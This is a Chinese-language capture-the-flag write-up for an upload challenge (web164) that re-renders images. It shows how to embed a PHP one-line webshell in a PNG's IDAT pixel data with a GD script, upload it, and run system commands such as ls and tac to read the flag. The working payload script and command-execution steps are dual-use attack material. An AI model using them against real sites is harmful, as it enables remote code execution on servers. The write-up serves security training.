一:初步尝试
开靶机的时候显示改头换面,那就说明之前用RFI做就可能不行了,然后试了一下也确实不可以,看了大师傅的视频和别的wp说是二次渲染【服务器在文件上传后,对文件内容进行再次处理或修改的过程。这种处理通常用于优化文件大小、格式化文件内容或进行安全检查】然后说直接按简单的方法生成一个图片马大概率不行,但我又想试试。
1.copy指令
首先我们需要一张正常的图片,不要太大,可以直接屏幕截图截一小块:a.png
然后是我们的一句话木马文件:b.php
用以下命令生成图片马:shell.png
bash
copy a.png/b + b.php/a = shell.png
(copy的地址是两个文件所在地址,我是在桌面,所以先要 cd Desktop)
/a 代表 ASCII 码,/b 代表二进制文件
然后上传我们的图片马,果然还是失败了

010里面打开是这样的,可以看到是直接在结尾加了一个木马:

2.顺推
其实这里就有一个问题,后续不管是将图片以txt格式打开或者010打开最后面加一句话木马都会出现的:因为 PHP 在解析图片时,可能只解析到"图片真正结束的地方"。
所以我们要把木马写进 PNG 的 IDAT 数据块里,让它在"图片内容"中,而不是"图片后面"。
这里先给出png的文件结构:
php
PNG Header
IHDR (头信息)
IDAT (真正的图像数据,可多个)
IEND (图片结束标记)
在某些场景里:
-
PHP 是通过 图像函数 / 文件流
-
或者程序在读文件时:只读到
IEND,后面的数据被忽略
就比如
php
imagecreatefrompng('a.png'); //imagecreatefrompng() 返回图像标识符,代表从指定文件名获得的图像。
而在这里很明显就是这样的,因此我们需要通过脚本把一句话木马写到IDAT块中。
二:脚本运用
php
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
//像素的RGB值,让 getimagesize()、图片解析全部通过。
$img = imagecreatetruecolor(32, 32); //创建画布
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
} //往图片里加东西
imagepng($img,'./my.png');
?> //导出图片
#<?=$_GET[0]($_POST[1]);?> //追加到文件末尾
然后我去用VScode跑了一下,创建的是一个index.php,但是有个问题:

这个报错是指我的php没有装GD库 【GD库是PHP语言的图形处理扩展库,提供生成、处理图像及添加水印等功能的API,支持JPEG、PNG、GIF等主流图像格式,广泛应用于缩略图生成、验证码创建及数据报表制作等Web开发场景 。其内存管理机制独立于PHP常规配置,通过gd_info()函数可查询支持的图像格式】
可以打开VScode终端,输入php --ini,然后会有一个这个,把分号去掉就可以:
php
;extension=gd
但是我输了php --ini没反应,可能是我之前安装有点问题,反正搞了好多次就是没搞出来。
然后去问了一下说是可以用phpstudy 或xampp 来【云服务器也可以,但配置有点麻烦,还得买,如果有需要可以参考web162搭建的云服务器】,这里我就用xampp来做【配置教程可以看其他大佬写的博客,这里我找了一个xampp安装与配置】
打开xampp,开启Apache,如下:

然后是找到xampp的安装路径【我在D盘】,然后在VScode终端输入:
bash
D:\xampp\php\php.exe -m
最开是没有gd的,然后我们输入
bash
D:\xampp\php\php.ini
然后就能找到我们之前所讲的:

把分号去掉并保存,再重新打开一个终端,输入 -m 之后就能看到gd了。

然后转到index.php所在文件位置【我在桌面】,运行指令回显如下:
bash
PS C:\Users\Linkb\Desktop> D:\xampp\php\php.exe index.php
>>
#PHP Warning: Undefined array key 0 in C:\Users\Linkb\Desktop\index.php on line 25
Warning: Undefined array key 0 in C:\Users\Linkb\Desktop\index.php on line 25
PHP Fatal error: Uncaught Error: Value of type null is not callable in C:\Users\Linkb\Desktop\index.php:25
Stack trace:
#0 {main}
thrown in C:\Users\Linkb\Desktop\index.php on line 25
Fatal error: Uncaught Error: Value of type null is not callable in C:\Users\Linkb\Desktop\index.php:25
Stack trace:
#0 {main}
thrown in C:\Users\Linkb\Desktop\index.php on line 25
这里有一个报错问题都是在第25行,即表示我们的木马写的有问题,我不知道是不是我跑的软件有问题,我这里是要将这个木马写到imagepng($img,'./my.png'); 后面然后进行注释才可以。这里就发现了一个注意点:**?> 后面的内容,除非再次进入 <?php,否则不属于 PHP,**就是说我们要将木马放在php里面,那么代码就变成了这样:
php
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'./my.png');
//<?=$_GET[0]($_POST[1]);?>
?>
这时候再运行:
bash
D:\xampp\php\php.exe index.php
这样就能在桌面上找到我们生成的图片了。
三:上传图片马
我上传图片马,点击查看图片,然后用hackbar改一下,URL最后面加一个&0=system,再POST传参一个1=ls,开启抓包后再execute:

可以看到有flag.php是直接在该目录下的,然后我们再tac 一下flag就能找到答案:

四:总结
总的来说,web164就相当于allow_url_include=Off的情况下并且普通的生成图片马的方式被检测的情况下通过脚本将木马插入后门中使其永久生效,确实称得上是改头换面,也是又学到文件上传的一种新的方法。